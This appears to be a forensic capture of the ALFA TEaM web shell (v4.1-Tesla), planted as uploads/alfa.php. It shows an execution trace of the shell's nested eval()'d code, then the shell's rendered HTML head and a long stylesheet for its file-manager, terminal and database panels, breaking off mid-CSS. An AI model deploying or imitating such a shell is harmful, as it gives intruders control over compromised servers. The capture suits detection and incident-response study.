6 503 R TRUE
6 504 0 0.127585 3447944 in_array 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 959 2 5 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
6 504 1 0.127602 3448016
6 504 R TRUE
6 505 0 0.127615 3447944 in_array 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 959 2 6 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
6 505 1 0.127631 3448016
6 505 R TRUE
6 506 0 0.127644 3447944 in_array 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 959 2 7 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
6 506 1 0.127660 3448016
6 506 R TRUE
6 507 0 0.127673 3447944 in_array 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 959 2 8 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
6 507 1 0.127689 3448016
6 507 R TRUE
6 508 0 0.127701 3447944 in_array 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 959 2 9 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
6 508 1 0.127717 3448016
6 508 R TRUE
6 509 0 0.127729 3447944 in_array 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 959 2 10 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
6 509 1 0.127745 3448016
6 509 R TRUE
5 499 1 0.127763 3446496
5 510 0 0.127771 3446496 alfafooter 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2563 0
6 511 0 0.127786 3446496 htmlspecialchars 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2293 1 '/var/www/html/uploads/'
6 511 1 0.127803 3446688
6 511 R '/var/www/html/uploads/'
6 512 0 0.127820 3449568 date 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2306 1 'Y'
6 512 1 0.127855 3449856
6 512 R '2023'
5 510 1 0.129620 3462880
4 72 1 0.129634 3462880
0.129681 3274792
TRACE END [2023-02-13 00:38:39.780717]
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="ROBOTS" content="NOINDEX, NOFOLLOW">
<link href="http://solevisible.com/images/alfamini.png" rel="icon" type="image/x-icon">
<title>..:: localhost ~ ALFA TEaM Shell - v4.1-Tesla ::..</title>
<style type="text/css">.hlabale{color:#67abdf;border-radius:4px;border:1px solid #27979b;margin-left:7px;padding:2px}#tbl_sympphp tr{text-align:center}#PhpCode,.php-evals-ace,.view_ml_content{position:absolute;top:0;right:0;bottom:0;left:0;background:#1b292b26;top:50px}.editor-view{position:relative;height:100%}.view-content{position:absolute;overflow-y:auto;width:100%;height:93%}::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);border-radius:10px;background-color:#000115}::-webkit-scrollbar{width:10px;background-color:#000115}::-webkit-scrollbar-thumb{border-radius:10px;-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);background-color:#1e82b5}.editor-file-name{margin-left:29px;margin-top:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.editor-icon{position:absolute}.is_active{background:rgba(49,55,93,.77);border-radius:10px}.history-list{height:88%;overflow-y:auto}.opt-title{position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);color:#2fd051;font-size:25px;font-family:monospace}.options_min_badge{visibility:hidden;text-align:center;right:30px;color:#fff;background:#2a8a24;padding:6px;border-radius:50%;width:15px;height:15px;display:inline-block;position:absolute;top:-7px}#cgiloader-minimized,#database_window-minimized,#editor-minimized,#options_window-minimized{display:block;position:fixed;right:-30px;width:30px;height:30px;top:30%;z-index:9999}.minimized-wrapper{position:relative;background:#0e304a;width:44px;height:130px;cursor:pointer;border-bottom-left-radius:5px;border-top-left-radius:5px}.minimized-text{transform:rotate(-90deg);color:wheat;font-size:x-large;display:inline-block;position:absolute;right:-51px;width:129px;top:-10px;border-top-left-radius:4%;height:56px;padding:3px}.close-button,.editor-minimize{height:26px;width:38px;right:7px;background:#1d5673;cursor:pointer;position:absolute;box-sizing:border-box;line-height:50px;display:inline-block;top:17px;border-radius:100px}.editor-minimize{right:50px}.close-button:after,.close-button:before,.editor-minimize:before{transform:rotate(-45deg);content:"";position:absolute;top:63%;right:6px;margin-top:-5px;margin-left:-25px;display:block;height:4px;width:27px;background-color:rgba(216,207,207,.75);transition:all .25s ease-out}.editor-minimize:before{transform:rotate(0)}.close-button:after{transform:rotate(-135deg)}.close-button:hover:after,.close-button:hover:before,.editor-minimize:hover:before{background-color:red}.close-button:hover,.editor-minimize:hover{background-color:rgba(39,66,80,.96)}#cgiloader,#database_window,#editor,#options_window{display:none;position:fixed;top:0;width:100%;height:100%;z-index:20}.editor-wrapper{width:100%;height:100%;position:relative;top:1%}.editor-header{width:97%;background:rgba(21,66,88,.93);height:37px;margin-left:13px;position:relative;border-top-left-radius:15px;border-top-right-radius:15px}.editor-path{position:absolute;font-size:x-large;margin-left:10px;top:6px;color:#00ff7f}.editor-modal{position:relative;top:0;background-color:rgba(0,1,23,.95);height:90%;margin-left:20%;margin-right:2%;border:2px #0e304a solid}.editor-explorer{width:19%;height:90%;background-color:rgba(0,1,23,.94);position:absolute;z-index:2;left:1%;border:2px #0e304a solid}.editor-controller{position:relative;top:-13px}.file-holder{position:relative;width:100%;height:30px}.file-holder>.history{position:absolute;color:#03b3a3;cursor:pointer;left:5px;font-size:18px;font-family:sans-serif;width:89%;height:100%;z-index:3;border-radius:10px;transition:background-color .6s ease-out}.file-holder>.history-close{display:block;opacity:0;position:absolute;right:2px;width:20px;top:4px;text-align:center;cursor:pointer;color:#fff;background:red;border-radius:100px;font-family:monospace;z-index:10;transition:opacity .6s ease-out;font-size:15px;height:19px}.file-holder>.history:hover{background-color:#646464}.editor-explorer>.hheader{position:relative;color:#14ff07;border-bottom:2px #206aa2 solid;text-align:center;font-family:sans-serif;margin-bottom:10px;height:55px}.editor-search{position:absolute;bottom:7px;left:31px}.hheader-text{position:absolute;left:8px;top:2px}.history-clear{position:absolute;right:8px;top:2px;cursor:pointer}.editor-body{position:relative;margin-left:3px;height:100%}.editor-anim-close{-webkit-animation:editorClose .8s ease-in-out forwards;-moz-animation:editorClose .8s ease-in-out forwards;-ms-animation:editorClose .8s ease-in-out forwards;animation:editorClose .8s ease-in-out forwards}@keyframes editorClose{0%{visibility:1;opacity:1}100%{visibility:0;opacity:0}}.editor-anim-minimize{-webkit-animation:editorMinimize .8s ease-in-out forwards;-moz-animation:editorMinimize .8s ease-in-out forwards;-ms-animation:editorMinimize .8s ease-in-out forwards;animation:editorMinimize .8s ease-in-out forwards}@keyframes editorMinimize{0%{right:0;opacity:1}100%{right:-2000px;opacity:0}}.editor-anim-show{-webkit-animation:editorShow .8s ease-in-out forwards;-moz-animation:editorShow .8s ease-in-out forwards;-ms-animation:editorShow .8s ease-in-out forwards;animation:editorShow .8s ease-in-out forwards}@keyframes editorShow{0%{right:-2000px;opacity:0}100%{right:0;opacity:1}}.minimized-show{-webkit-animation:minimizeShow .8s ease-in-out forwards;-moz-animation:minimizeShow .8s ease-in-out forwards;-ms-animation:minimizeShow .8s ease-in-out forwards;animation:minimizeShow .8s ease-in-out forwards}@keyframes minimizeShow{0%{right:-30px;opacity:0}100%{right:0;opacity:1}}.minimized-hide{-webkit-animation:minimizeHide .8s ease-in-out forwards;-moz-animation:minimizeHide .8s ease-in-out forwards;-ms-animation:minimizeHide .8s ease-in-out forwards;animation:minimizeHide .8s ease-in-out forwards}@keyframes minimizeHide{0%{right:0;opacity:1}100%{right:-30px;opacity:0}}.solevisible-text:hover{-webkit-text-shadow:0 0 25px #0f0;-moz-text-shadow:0 0 25px #0f0;-ms-text-shadow:0 0 25px #0f0;text-shadow:0 0 25px #0f0}.update-holder{position:fixed;top:0;background-color:rgba(0,24,29,.72);width:100%;height:100%}.update-content{position:relative}.update-content>a{text-decoration:none;position:absolute;color:rgba(103,167,47,.77);left:24%;margin-top:7%;font-size:40px}.update-close{position:absolute;right:0;margin-right:23px;top:10px;font-size:27px;background-color:#130f50;width:5%;border-radius:100px;cursor:pointer;border:2px #0e265a solid}.update-close:hover{border:2px #25ff00 solid;color:red}.filestools{height:auto;width:auto;color:#67abdf;font-size:12px;font-family:Verdana,Geneva,sans-serif}@-moz-document url-prefix(){#search-input{width:173px}.editor-path{top:3px}}.filters-holder{padding:5px;padding-left:10px}.filters-holder input{width:200px}.filters-holder span{color:#8bc7f7}#rightclick_menu{width:175px;visibility:hidden;opacity:0;position:fixed;background:#0f304a;color:#555;font-family:sans-serif;font-size:11px;-webkit-transition:opacity .5s ease-in-out;-moz-transition:opacity .5s ease-in-out;-ms-transition:opacity .5s ease-in-out;-o-transition:opacity .5s ease-in-out;transition:opacity .5s ease-in-out;-webkit-box-shadow:-1px 0 17px 0 #8b8b8c;-moz-box-shadow:-1px 0 17px 0 #8b8b8c;box-shadow:-1px 0 17px 0 #8b8b8c;padding:0;border:1px solid #737373;border-radius:10px}#rightclick_menu a{display:block;color:#fff;font-weight:bolder;text-decoration:none;padding:6px 8px 6px 30px;position:relative;padding-left:40px}#rightclick_menu a i.fa,#rightclick_menu a img{height:20px;font-size:17px;width:20px;position:absolute;left:5px;top:2px;padding-left:5px}#rightclick_menu a span{color:#bcb1b3;float:right}#rightclick_menu a:hover{color:#fff;background:#3879d9}#rightclick_menu hr{border:1px solid #ebebeb;border-bottom:0}.cl-popup-fixed{position:fixed;top:0;left:0;width:100%;height:100%;background:#201e1ead}#shortcutMenu-holder{position:absolute;top:40%;left:50%;transform:translate(-50%,-50%);background:#1f1e1edb;height:190px;width:500px;color:#fff}#shortcutMenu-holder>.popup-head{background:#207174;padding:6px;border-top:10px;text-align:center;font-family:sans-serif;color:#fff}#shortcutMenu-holder>form{padding:10px}#shortcutMenu-holder>form>label{display:block}#shortcutMenu-holder>form>input{width:99%;height:24px;margin-top:4px;color:#fff;outline:0;font-size:16px}#shortcutMenu-holder>.popup-foot{float:right;height:30px;margin-right:8px}#shortcutMenu-holder>.popup-foot>button{height:100%;cursor:pointer;color:#fff;outline:0}.php-terminal-output{overflow:auto;height:86%;border:1px solid #1e5673;border-radius:10px}.cmd-history-holder{visibility:hidden;opacity:0;position:absolute;color:#dff3d5;background:#093d58;top:-300px;height:300px;width:calc(69% + -11px);border-radius:10px 10px 0 0;left:calc(2% - 9px);transition:visibility .5s,opacity .5s linear}.cmd-history-holder .commands-history-header{background:#37504e;text-align:center;border-radius:10px 10px 0 0}.cmd-history-icon{width:27px;top:6px;left:calc(69% + 5px);position:absolute;cursor:pointer}.history-cmd-line{padding:4px;border-bottom:1px dashed;cursor:pointer}.history-cmd-line:hover{background:#961111}#myUL,#myUL ul{list-style-type:none}#myUL{margin:0;padding:0}.box{cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.box::before{content:"\2610";color:#000;display:inline-block;margin-right:6px}.check-box::before{content:"\2611";color:#1e90ff}.nested{display:none}.active{display:block}.flag-holder>img{width:20px;vertical-align:middle;padding-left:6px}#options_window .content_options_holder .options_holder{position:relative;display:none;overflow:auto;min-height:300px;max-height:calc(100vh - 100px)}#options_window .content_options_holder .options_holder .header{min-height:50vh}#options_window .content_options_holder .options_holder.option_is_active{display:block}#options_window .content_options_holder .options_tab{padding:5px;margin-left:14px;margin-right:30px;background:#000;border-bottom:7px solid #0f304a;border-left:7px solid #0f304a;border-right:7px solid #0f304a;overflow-x:auto;white-space:nowrap}#filesman_tabs .filesman_tab img,#options_window .content_options_holder .options_tab .tab_name img,.editor-tab-name img,.sql-tabs .sql-tabname img,.terminal-tabs .terminal-tab img{width:10px;vertical-align:middle;margin-left:5px}#filesman_tabs .filesman_tab,#options_window .content_options_holder .options_tab .tab_name,.editor-tab-name,.sql-tabs .sql-newtab,.sql-tabs .sql-tabname,.terminal-tabs .terminal-tab{display:inline-block;background-color:#133d51;border-radius:4px;padding:5px;color:#fff;margin-right:3px;padding:5px;cursor:pointer;margin-bottom:1px;transition:background-color .5s}#filesman_tabs .filesman_tab{min-width:55px;text-align:center}#filesman_tabs .filesman_tab:hover,#options_window .content_options_holder .options_tab .tab_name:hover,.editor-tab-name:hover,.sql-tabs .sql-tabname:hover,.terminal-tabs .terminal-tab:hover{background-color:#a23939}.editor-tabs,.sql-tabs,.terminal-tabs{padding:5px;overflow-x:auto;white-space:nowrap}.options-loader-holder{position:absolute;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:11}.options-loader-holder img{position:absolute;top:32%;left:45%;transform:translate(-50%,-50%);width:100px;animation:spin 2s infinite}#filesman_tabs .filesman_tab.filesman-tab-active,#options_window .content_options_holder .options_tab .tab_name.tab_is_active,.editor-tab-name.editor-tab-active,.sql-tabname.sql-active-tab,.terminal-tab.active-terminal-tab{background-color:#009688}.tab-is-done{animation:2s tab_change_color infinite step-end}.stopAjax{color:#fff;font-size:20px;display:inline-block;padding:10px;cursor:pointer}#a_loader{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:99}.fmanager-row>td{position:relative}.fmanager-row .symlink_path{position:fixed;max-width:100%;background-color:#0f304a;border-radius:10px;font-size:15px;padding:8px;color:#fdf4f4;border:1px solid #8a8a8a;z-index:1;pointer-events:none}.archive-icons{vertical-align:middle}.archive-type-dir{font-weight:bolder}.archive-type-file{font-weight:unset}.archive-name{cursor:pointer}.archive_dir_holder a{color:#0f0;font-weight:bolder;cursor:pointer}.archive_dir_holder a:hover{color:#fff}.editor-content{height:100%}.editor-content-holder{height:90%}.editor-contents{display:none;position:relative;height:100%}.editor-contents.editor-content-active{display:block}.history-panel-controller{position:absolute;color:#fff;padding:10px;z-index:1000;border-radius:10px;top:50%;left:19%;background-color:#009687;cursor:pointer}.sql-content{display:none;position:relative;min-height:300px}.sql-content.sql-active-content{display:block}.pages-holder{padding:7px}.pages-number{display:inline-block;margin-left:10px}.pages-holder .pages-number a.page-number{padding:5px;background:#0f304a;margin-right:8px;cursor:pointer;width:33px;display:inline-block;text-align:center;border-radius:5px;color:#fff;transition:background .5s}.active-page-number{background:#10925c!important}.pages-number a.page-number:hover{background:#8a8a8a}.terminal-content{height:100%}.terminal-content,.terminal-tab{display:none}.terminal-content.active-terminal-content{display:block;position:relative}.terminal-btn-fontctl{background:#009688;width:50px;color:#fff;font-weight:bolder;outline:0;cursor:pointer}.alert-area{max-height:100%;position:fixed;bottom:5px;left:20px;right:20px;z-index:9999}.alert-box{font-size:16px;color:#fff;background:rgba(0,0,0,.9);line-height:1.3em;padding:10px 15px;margin:5px 10px;position:relative;border-radius:5px;transition:opacity .5s ease-in;-webkit-animation:alert-shake .5s ease-in-out;animation:alert-shake .5s ease-in-out}.alert-content-title{font-weight:700}.alert-box.alert-success{background:rgba(56,127,56,.89)}.alert-error{background:rgba(191,54,54,.89)}.alert-box.hide{opacity:0}.alert-close{background:0 0;width:12px;height:12px;position:absolute;top:15px;right:15px}.alert-close:after,.alert-close:before{content:"";width:15px;border-top:solid 2px #fff;position:absolute;top:5px;right:-1px;display:block}.alert-close:before{transform:rotate(45deg)}.alert-close:after{transform:rotate(135deg)}.alert-close:hover:after,.alert-close:hover:before{border-top:solid 2px #d8d8d8}@media (max-width:767px) and (min-width:481px){.alert-area{left:100px;right:100px}}@media (min-width:768px){.alert-area{width:350px;left:auto;right:0;z-index:9999}}@keyframes tab_change_color{0%{background-color:#133d51}50%{background-color:green}}@-webkit-keyframes alert-shake{0%{-webkit-transform:translateX(0)}20%{-webkit-transform:translateX(-10px)}40%{-webkit-transform:translateX(10px)}60%{-webkit-transform:translateX(-10px)}80%{-webkit-transform:translateX(10px)}100%{-webkit-transform:translateX(0)}}@keyframes alert-shake{0%{transform:translateX(0)}20%{transform:translateX(-10px)}40%{transform:translateX(10px)}60%{transform:translateX(-10px)}80%{transform:translateX(10px)}100%{transform:translateX(0)}}.textEffect{position:absolute;width:500px;top:-10px;animation:alert-shake .5s ease-in-out;animation-iteration-count:2}.alfateam-loader-text{position:absolute;color:#46bb45;top:23%;left:49%;transform:translate(-50%,-50%);font-size:40px;letter-spacing:7px}.alfa-ajax-error{position:absolute;color:#ff0a0a;top:50%;left:50%;transform:translate(-50%,-50%);font-size:30px}.connection-hist-table{margin-left:auto;margin-right:auto;text-align:justify;border-collapse:collapse}.connection-hist-table td,.connection-hist-table th{border:1px solid #ddd;text-align:left;padding:8px}.connection-his-btn{margin-bottom:10px;padding:5px;background:#206920;color:#fff;border:none;outline:0;cursor:pointer;font-weight:700;transition:background .3s}.connection-his-btn.connection-delete{margin:unset;padding:5px;background:red;width:33px;border-radius:3px;transition:background .3s}.connection-delete:hover{background:#f56969!important}.connection-his-btn:hover{background:#30b330}#up_bar_holder{position:fixed;z-index:100000;width:100%}#filesman_tabs{padding:8px;border:1px solid #0e304a;color:#67abdf;overflow-x:auto;white-space:nowrap}.sortable-ghost{opacity:.5;background:#c8ebfb}.folder-tab-icon{width:16px!important}#filesman-tab-full-path{display:none;position:absolute;pointer-events:none;background:#163746;padding:7px;color:#0f0;border-radius:10px;min-width:58px;z-index:10}#filesman-tab-full-path::after{content:"";position:absolute;top:100%;left:35px;margin-left:-5px;border-width:5px;border-style:solid;pointer-events:none;border-color:#163746 transparent transparent transparent}.mysql-main{height:84vh;position:relative}.mysql-hide-content{display:none}.mysql-query-result-tabs{margin-bottom:10px;padding:3px;border-bottom:4px solid #0f304a}.mysql-main .tables-panel-ctl{position:absolute;color:#fff;padding:10px;z-index:1;border-radius:10px;top:45%;left:calc(17% + 10px);background-color:#009687;cursor:pointer}.tables-panel-ctl-min{left:-21px!important}.mysql-query-result-tabs div{display:inline-block;padding:5px;margin-right:2px;background:#133d51;color:#fff;cursor:pointer;transition:background-color .5s}.mysql-query-result-tabs div:hover{background-color:#a23939}.mysql-query-result-tabs div.mysql-query-selected-tab{background:red}table tr.tbl_row:nth-child(odd){background:#424040}.mysql-tables .tables-row{margin-left:26px}.mysql-main .mysql-query-results,.mysql-main .mysql-tables{float:left;height:100%;overflow:auto}.mysql-main .mysql-query-results{width:calc(80% + 4px);margin-left:5px;position:relative;overflow:unset}.mysql-main .mysql-query-results-fixed{width:100%}.mysql-main .mysql-query-results .mysql-query-content{height:89%;overflow:auto}.mysql-query-tab-hide{height:0!important;padding:0!important}.mysql-main .mysql-tables{width:19%;border-right:4px solid #0e304a}.mysql-main table td{vertical-align:top}.mysql-main .mysql-search-area table td{vertical-align:middle;padding:7px}.mysql-tables .block{position:relative;width:1.5em;height:1.5em;min-width:16px;min-height:16px;float:left}.mysql-tables div.block b,.mysql-tables div.block i{width:1.5em;height:1.7em;min-width:16px;min-height:8px;position:absolute;bottom:.7em;left:.75em;z-index:0}.mysql-tables .block i{display:block;border-left:1px solid #666;border-bottom:1px solid #666;position:relative;z-index:0}.mysql-tables .block b{display:block;height:.75em;bottom:0;left:.75em;border-left:1px solid #666}.mysql-tables div.block a,.mysql-tables div.block u{position:absolute;left:50%;top:50%;z-index:10}.mysql-tables div.block img{position:relative;top:-.6em;left:0;margin-left:-7px}.mysql-tables .clearfloat{clear:both}.mysql-tables ul{list-style-type:none;margin-left:0;padding:0}.mysql-tables ul li{white-space:nowrap;clear:both;min-height:16px}.mysql-tables .db_name{margin-left:10px}.mysql-tables .list_container{border-left:1px solid #666;margin-left:.75em;padding-left:.75em}.hide-db-tables{display:none}.mysql-main:after{content:"";display:table;clear:both}table.mysql-data-tbl{border:none!important;border-collapse:collapse!important}table.mysql-data-tbl tr th{padding:5px}table.mysql-data-tbl td{border-left:3px solid #305a8d;border-right:3px solid #305a8d;padding:6px}table.mysql-data-tbl td:first-child{border-left:none}table.mysql-data-tbl td:last-child{border-right:none}.mysql-insert-result,.mysql-structure-qres,.mysql-update-result{display:none;text-align:center;padding:10px;border:1px dashed;margin:22px}#alfa-copyright{margin-top:15px}.ic_b_plus{background-image:url(http://solevisible.com/icons/menu/b_plus.png)}.ic_b_minus{background-image:url(http://solevisible.com/icons/menu/b_minus.png)}
@keyframes spin {from {transform: rotate(0deg);}to{transform: rotate(360deg);}}
@-webkit-keyframes spin {from {-webkit-transform: rotate(0deg);}to {-webkit-transform: rotate(360deg);}}
@-moz-keyframes spin {from {-moz-transform: rotate(0deg);}to {-moz-transform: rotate(360deg);}}
@-ms-keyframes spin {from {-ms-transform: rotate(0deg);}to {-ms-transform: rotate(360deg);}}
#alfaloader{ -moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;width:100px;height:100px;}
#a_loader img{ -moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;width:150px;height:150px;position:fixed;z-index:999999;top: 31%;left: 45%;}
.ajaxarea{display:none;border:1px solid #0E304A;color:#67ABDF}.up_bar{margin-bottom: 2px;transition:width 2s;background-color:red;width:0;height:8px;display:none;}#hidden_sh{background-color:#0E304A;text-align:center;position:absolute;right:0;left:90%;border-bottom-left-radius:2em}.alert_green{color:#0F0;font-family:"Comic Sans MS";font-size:small;text-decoration:none}.whole{background-color:#000;background-image:url(http://solevisible.com/images/alfabg.png);background-position:center;background-attachment:fixed;background-repeat:no-repeat}.header{height:auto;width:auto;border:7px solid #0E304A;color:#67ABDF;font-size:12px;font-family:Verdana,Geneva,sans-serif}.header a{text-decoration:none;}.filestools a{color:#0F0;text-decoration:none}.filestools a:hover{color:#FFF;text-decoration:none;}span{font-weight:bolder;color:#FFF}.txtfont{font-family:"Comic Sans MS";font-size:small;color:#fff;display:inline-block}.txtfont_header{font-family:"Comic Sans MS";font-size:large;display:inline-block;color:#59cc33}.tbltxt{font-family:"Comic Sans MS";color:#fff;font-size:small;display:inline-block}input[type="file"]{display:none}.inputfile{border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;border-radius:4px;height:20px;width:250px;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;display:inline-block;overflow:hidden}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}.inputfile span,.inputfile strong{padding:2px;padding-left:10px}.inputfile span{color:#25ff00;width:90px;min-height:2em;display:inline-block;text-overflow:ellipsis;white-space:nowrap;overflow:hidden;vertical-align:top;float:left}.inputfile strong{background-image:url(http://solevisible.com/images/alfamini.png);background-repeat:no-repeat;background-position:float;height:100%;width:109px;color:#fff;background-color:#0E304A;display:inline-block;float:right}.inputfile:focus strong,.inputfile.has-focus strong,.inputfile:hover strong{background-color:#46647A}.button{padding:3px}#addup,.button{outline:none;cursor:pointer;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px;background-color:#000;color:green;border-radius:100px}#addup:hover,.button:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:disabled:hover{cursor:not-allowed}td{padding:0px}.myCheckbox{padding-left:2px}.myCheckbox label{display:inline-block;cursor:pointer;position:relative}.myCheckbox input[type=checkbox]{display:none}.myCheckbox label:before{content:"";display:inline-block;width:14px;height:13px;position:absolute;background-color:#aaa;box-shadow:inset 0 2px 3px 0 rgba(0,0,0,.3),0 1px 0 0 rgba(255,255,255,.8)}.myCheckbox label{margin-bottom:15px;padding-right:17px}.myCheckbox label:before{border-radius:100px}input[type=checkbox]:checked + label:before{content:"";background-color:#0E304A;background-image:url(http://solevisible.com/images/alfamini.png);background-repeat:no-repeat;background-position:50% 50%;background-size:14px 14px;box-shadow:0 0 4px #0F0}#meunlist{font-family:Verdana,Geneva,sans-serif;color:#FFF;width:auto;border-right-width:7px;border-left-width:7px;height:auto;font-size:12px;font-weight:700;border-top-width:0;border-color:#0E304A;border-style:solid}.whole #meunlist ul{text-align:center;list-style-type:none;margin:0;padding:5px 5px 7px 2px}.whole #meunlist li{margin:0;padding:0;display:inline}.whole #meunlist a{font-family:arial,sans-serif;font-size:14px;text-decoration:none;font-weight:700;clear:both;width:100px;margin-right:-6px;border-right-width:1px;border-right-style:solid;border-right-color:#FFF;padding:3px 15px}.foot{font-family:Verdana,Geneva,sans-serif;margin:0;padding:0;width:100%;text-align:center;font-size:12px;color:#0E304A;border-right-width:7px;border-left-width:7px;border-bottom-width:7px;border-bottom-style:solid;border-right-style:solid;border-right-style:solid;border-left-style:solid;border-color:#0E304A}#text{text-align:center}input[type=submit]{cursor:pointer;background-image:url(http://solevisible.com/images/btn.png);background-repeat:no-repeat;background-position:50% 50%;background-size:23px 23px;background-color:#000;width:30px;height:30px;border:1px solid #27979B;border-radius:100px}textarea{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}textarea:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text],input[type=number],.alfa_custom_cmd_btn{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}input[type=submit]:hover{color:#000;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:2px solid #27979B;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}select{padding:3px;width:162px;color:#FFE;text-shadow:#000 0 2px 7px;border:1px solid #0E304A;background:#000;text-decoration:none;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}select:hover{border:1px solid #27979B;box-shadow:0 0 4px #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}
.foottable{width: 300px;font-weight: bold;}.main th{text-align:left;}.main a{color: #FFF;}.main tr:hover{background-color:#646464 !important;}.ml1{ border:1px solid #0E304A;padding:5px;margin:0;overflow: auto; }.bigarea{ width:99%; height:300px; }.alfa_custom_cmd_btn {padding: 5px;color: #24ff03;cursor: pointer;}.ajaxarea.filesman-active-content {display: block;}.header{border: 7px solid #0E304A}#meunlist{border-color: #0E304A}#hidden_sh{background-color: #0E304A}.ajaxarea{border: 1px solid #0E304A}.foot{border-color: #0E304A}.header_vars{color: #27979B;}.header_values{color: #67ABDF;}.header_on{color: #00FF00;}.header_off{color: #ff0000;}.header_none{color: #00FF00;}.home_shell{color: #ff0000;}.home_shell:hover{color: #FFFFFF;}.back_shell{color: #efbe73;}.back_shell:hover{color: #FFFFFF;}.header_pwd{color: #00FF00;}.header_pwd:hover{color: #FFFFFF;}.header_drive{color: #00FF00;}.header_drive:hover{color: #FFFFFF;}.header_show_all{color: #00FF00;}.disable_functions{color: #ff0000;}.footer_text{color: #27979B;}.menu_options{color: #27979B;}.menu_options:hover{background-color: #646464;font-weight: unset;}.content_options_holder .header center a{color: #00FF00;}.content_options_holder .header center a:hover{color: #FFFFFF;}.txtfont_header{color: #59cc33;}.txtfont,.tbltxt{color: #FFFFFF;}.alfa_plus{color: #06ff0f;font-weight: unset;}#hidden_sh a{color: #00FF00;}.hidden_shell_version{color: #ff0000;}.shell_name{color: #FF0000;}.main tr:hover{background-color: #646464;}.main th{color: #FFFFFF;}.main .main_name{color: #FFFFFF;font-weight: unset;}.main_size{color: #67ABDF;}.main_modify{color: #67ABDF;}.main_owner_group{color: 